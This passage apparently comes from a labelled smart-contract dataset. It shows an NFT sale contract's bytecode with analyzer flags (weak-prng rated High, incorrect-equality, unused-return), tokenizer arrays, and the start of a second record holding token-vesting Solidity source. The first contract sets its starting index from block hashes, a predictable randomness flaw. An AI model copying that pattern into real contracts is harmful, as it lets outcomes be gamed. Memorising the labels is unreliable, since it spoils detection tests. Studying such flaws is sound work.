803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061238a565b60405180821515815260200191505060405180910390f35b348015610e4757600080fd5b50610e5061241e565b6040518082815260200191505060405180910390f35b348015610e7257600080fd5b50610eb560048036036020811015610e8957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124f3565b005b348015610ec357600080fd5b50610ecc6126e8565b6040518082815260200191505060405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fe15780601f10610fb657610100808354040283529160200191610fe1565b820191906000526020600020905b815481529060010190602001808311610fc457829003601f168201915b5050505050905090565b6000610ff6826127c2565b61104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613fa4602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000611091826114d7565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611118576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806140946021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166111376127df565b73ffffffffffffffffffffffffffffffffffffffff1614806111665750611165816111606127df565b61238a565b5b6111bb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180613ed66038913960400191505060405180910390fd5b6111c583836127e7565b505050565b6110ad81565b60006111dc60026128a0565b905090565b62093a806360648e700181565b6111ff6111f96127df565b826128b5565b611254576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806140eb6031913960400191505060405180910390fd5b61125f8383836129a9565b505050565b60006112b782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612bec90919063ffffffff16565b905092915050565b6112c76127df565b73ffffffffffffffffffffffffffffffffffffffff166112e561194d565b73ffffffffffffffffffffffffffffffffffffffff161461136e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61137781612c06565b50565b6113826127df565b73ffffffffffffffffffffffffffffffffffffffff166113a061194d565b73ffffffffffffffffffffffffffffffffffffffff1614611429576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611474573d6000803e3d6000fd5b5050565b61149383838360405180602001604052806000815250611ff8565b505050565b6040518060a0016040528060688152602001613e1c6068913981565b6000806114cb836002612c2090919063ffffffff16565b50905080915050919050565b600061150782604051806060016040528060298152602001613f38602991396002612c4c9092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115a65780601f1061157b576101008083540402835291602001916115a6565b820191906000526020600020905b81548152906001019060200180831161158957829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613f0e602a913960400191505060405180910390fd5b61167e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612c6b565b9050919050565b61168d6127df565b73ffffffffffffffffffffffffffffffffffffffff166116ab61194d565b73ffffffffffffffffffffffffffffffffffffffff1614611734576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600c541461186d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5374617274696e6720696e64657820697320616c72656164792073657400000081525060200191505060405180910390fd5b6000600b5414156118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5374617274696e6720696e64657820626c6f636b206d7573742062652073657481525060200191505060405180910390fd5b6110ad600b544060001c816118f757fe5b06600c8190555060ff61190c43600b54612c80565b111561192c576110ad600143034060001c8161192457fe5b06600c819055505b6000600c54141561194b57611944600c546001612d03565b600c819055505b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6360648e7081565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a175780601f106119ec57610100808354040283529160200191611a17565b820191906000526020600020905b8154815290600101906020018083116119fa57829003601f168201915b5050505050905090565b6110ad611a2c6111d0565b10611a9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f53616c652068617320616c726561647920656e6465642e00000000000000000081525060200191505060405180910390fd5b60008111611b15576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f596f752063616e6e6f74206d696e742030205069636b6c7a2e0000000000000081525060200191505060405180910390fd5b611b1d61241e565b811115611b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526047815260200180613fd06047913960600191505060405180910390fd5b6110ad611b89611b836111d0565b83612d03565b1115611be0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180613dde603e913960400191505060405180910390fd5b34611bf2611bec6126e8565b83612d8b565b14611c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d0a6024913960400191505060405180910390fd5b60005b81811015611cb5576000611c5d6111d0565b905062093a806360648e7001421015611c9d576001600d600083815260200190815260200160002060006101000a81548160ff0219169083151502179055505b611ca73382612e11565b508080600101915050611c4b565b506000600b54148015611ce457506110ad611cce6111d0565b1480611ce3575062093a806360648e70014210155b5b15611cf15743600b819055505b50565b611cfc6127df565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8060056000611daa6127df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611e576127df565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b611eb26127df565b73ffffffffffffffffffffffffffffffffffffffff16611ed061194d565b73ffffffffffffffffffffffffffffffffffffffff1614611f59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000611f636111d0565b9050603282611f706111d0565b011115611fc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061406f6025913960400191505060405180910390fd5b60005b82811015611ff357611fe6611fde61194d565b828401612e11565b8080600101915050611fcb565b505050565b6120096120036127df565b836128b5565b61205e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806140eb6031913960400191505060405180910390fd5b61206a84848484612e2f565b50505050565b6000600d600083815260200190815260200160002060009054906101000a900460ff169050919050565b60606120a5826127c2565b6120fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614040602f913960400191505060405180910390fd5b6060600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121a35780601f10612178576101008083540402835291602001916121a3565b820191906000526020600020905b81548152906001019060200180831161218657829003601f168201915b5050505050905060606121b461150e565b90506000815114156121ca578192505050612366565b60008251111561229b5780826040516020018083805190602001908083835b6020831061220c57805182526020820191506020810190506020830392506121e9565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831061225d578051825260208201915060208101905060208303925061223a565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050612366565b806122a585612ea1565b6040516020018083805190602001908083835b602083106122db57805182526020820191506020810190506020830392506122b8565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831061232c5780518252602082019150602081019050602083039250612309565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b600c5481565b6040518060200160405280600081525081565b600b5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60006360648e7042101561247d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806140b56036913960400191505060405180910390fd5b6110ad6124886111d0565b106124de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180613d866034913960400191505060405180910390fd5b60006124e86111d0565b90506101f491505090565b6124fb6127df565b73ffffffffffffffffffffffffffffffffffffffff1661251961194d565b73ffffffffffffffffffffffffffffffffffffffff16146125a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612628576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613d606026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006360648e70421015612747576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806140b56036913960400191505060405180910390fd5b6110ad6127526111d0565b106127a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180613d866034913960400191505060405180910390fd5b60006127b26111d0565b905066b1a2bc2ec5000091505090565b60006127d8826002612fe890919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661285a836114d7565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006128ae82600001613002565b9050919050565b60006128c0826127c2565b612915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613eaa602c913960400191505060405180910390fd5b6000612920836114d7565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061298f57508373ffffffffffffffffffffffffffffffffffffffff1661297784610feb565b73ffffffffffffffffffffffffffffffffffffffff16145b806129a0575061299f818561238a565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166129c9826114d7565b73ffffffffffffffffffffffffffffffffffffffff1614612a35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806140176029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613dba6024913960400191505060405180910390fd5b612ac6838383613013565b612ad16000826127e7565b612b2281600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061301890919063ffffffff16565b50612b7481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061303290919063ffffffff16565b50612b8b8183600261304c9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612bfb8360000183613081565b60001c905092915050565b8060099080519060200190612c1c929190613c3c565b5050565b600080600080612c338660000186613104565b915091508160001c8160001c9350935050509250929050565b6000612c5f846000018460001b8461319d565b60001c90509392505050565b6000612c7982600001613293565b9050919050565b600082821115612cf8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015612d81576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415612d9e5760009050612e0b565b6000828402905082848281612daf57fe5b0414612e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613f836021913960400191505060405180910390fd5b809150505b92915050565b612e2b8282604051806020016040528060008152506132a4565b5050565b612e3a8484846129a9565b612e4684848484613315565b612e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180613d2e6032913960400191505060405180910390fd5b50505050565b60606000821415612ee9576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612fe3565b600082905060005b60008214612f13578080600101915050600a8281612f0b57fe5b049150612ef1565b60608167ffffffffffffffff81118015612f2c57600080fd5b506040519080825280601f01601f191660200182016040528015612f5f5781602001600182028036833780820191505090505b50905060006001830390508593505b60008414612fdb57600a8481612f8057fe5b0660300160f81b82828060019003935081518110612f9a57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8481612fd357fe5b049350612f6e565b819450505050505b919050565b6000612ffa836000018360001b61352e565b905092915050565b600081600001805490509050919050565b505050565b600061302a836000018360001b613551565b905092915050565b6000613044836000018360001b613639565b905092915050565b6000613078846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b6136a9565b90509392505050565b6000818360000180549050116130e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ce86022913960400191505060405180910390fd5b8260000182815481106130f157fe5b9060005260206000200154905092915050565b60008082846000018054905011613166576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613f616022913960400191505060405180910390fd5b600084600001848154811061317757fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390613264576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561322957808201518184015260208101905061320e565b50505050905090810190601f1680156132565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5084600001600182038154811061327757fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b6132ae8383613785565b6132bb6000848484613315565b613310576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180613d2e6032913960400191505060405180910390fd5b505050565b60006133368473ffffffffffffffffffffffffffffffffffffffff16613979565b6133435760019050613526565b60606134ad63150b7a0260e01b6133586127df565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156133dc5780820151818401526020810190506133c1565b50505050905090810190601f1680156134095780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001613d2e603291398773ffffffffffffffffffffffffffffffffffffffff1661398c9092919063ffffffff16565b905060008180602001905160208110156134c657600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461362d576000600182039050600060018660000180549050039050600086600001828154811061359c57fe5b90600052602060002001549050808760000184815481106135b957fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806135f157fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050613633565b60009150505b92915050565b600061364583836139a4565b61369e5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506136a3565b600090505b92915050565b60008084600101600085815260200190815260200160002054905060008114156137505784600001604051806040016040528086815260200185815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000155602082015181600101555050846000018054905085600101600086815260200190815260200160002081905550600191505061377e565b8285600001600183038154811061376357fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613828576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b613831816127c2565b156138a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b6138b060008383613013565b61390181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061303290919063ffffffff16565b506139188183600261304c9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b606061399b84846000856139c7565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b606082471015613a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613e846026913960400191505060405180910390fd5b613a2b85613979565b613a9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310613aed5780518252602082019150602081019050602083039250613aca565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613b4f576040519150601f19603f3d011682016040523d82523d6000602084013e613b54565b606091505b5091509150613b64828286613b70565b92505050949350505050565b60608315613b8057829050613c35565b600083511115613b935782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613bfa578082015181840152602081019050613bdf565b50505050905090810190601f168015613c275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282613c725760008555613cb9565b82601f10613c8b57805160ff1916838001178555613cb9565b82800160010185558215613cb9579182015b82811115613cb8578251825591602001919060010190613c9d565b5b509050613cc69190613cca565b5090565b5b80821115613ce3576000816000905550600101613ccb565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416d6f756e74206f662045746865722073656e74206973206e6f7420636f72726563742e4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737353616c652068617320616c726561647920656e6465642c206e6f206d6f7265205069636b6c7a206c65667420746f2073656c6c2e4552433732313a207472616e7366657220746f20746865207a65726f206164647265737345786365656473206d6178696d756d205069636b6c7a20737570706c792e20506c656173652074727920746f206d696e74206c657373205069636b6c7a2e536f6d65206f66206f7572207069636b6c657320617265206c6f6f6b696e6720666f72206c6f76652c206f7468657273206a7573742077616e7420746f2077617463682074686520776f726c64206275726e2e2057452041524520544845204f47205049434b4c5a416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e6473536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e596f7520617265206e6f7420616c6c6f77656420746f206275792074686973206d616e79205069636b6c7a206174206f6e636520696e207468697320707269636520746965722e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e466f7220416964726f7020746f2050726576696f7573205069636b6c65204661726d6572734552433732313a20617070726f76616c20746f2063757272656e74206f776e657253616c6520686173206e6f7420737461727465642079657420736f20796f752063616e2774206765742061207072696365207965742e4552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a264697066735822122058c10346a2a9c366676bd26eab4bcb2fbeaef1e52aaa2ea287e36773db1eff4664736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 12521, 2692, 4402, 2620, 3540, 2683, 2546, 2683, 2094, 2575, 17914, 22407, 2497, 2549, 2497, 2094, 2509, 2098, 2581, 26224, 18827, 2620, 2094, 2575, 2063, 2581, 2575, 22907, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 10047, 18447, 2098, 4783, 29278, 7869, 3726, 2389, 1012, 14017, 1000, 1025, 3206, 4060, 23858, 2003, 9413, 2278, 2581, 17465, 1010, 2219, 3085, 1010, 10047, 18447, 2098, 4783, 29278, 7869, 3726, 2389, 1063, 1013, 1013, 2023, 2003, 1996, 2434, 10003, 6651, 2501, 1997, 2035, 4060, 23858, 1999, 4598, 2012, 1996, 2051, 1012, 5164, 2270, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,531
0x96f125f20E44A36A1B8E3a540af792b7dccCe331
pragma solidity ^0.5.0; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokenVestingRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _cliff; uint256 private _start; uint256 private _duration; bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration"); require(duration > 0, "TokenVesting: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting: cannot revoke"); require(!_revoked[address(token)], "TokenVesting: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.safeTransfer(owner(), refund); emit TokenVestingRevoked(address(token)); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = 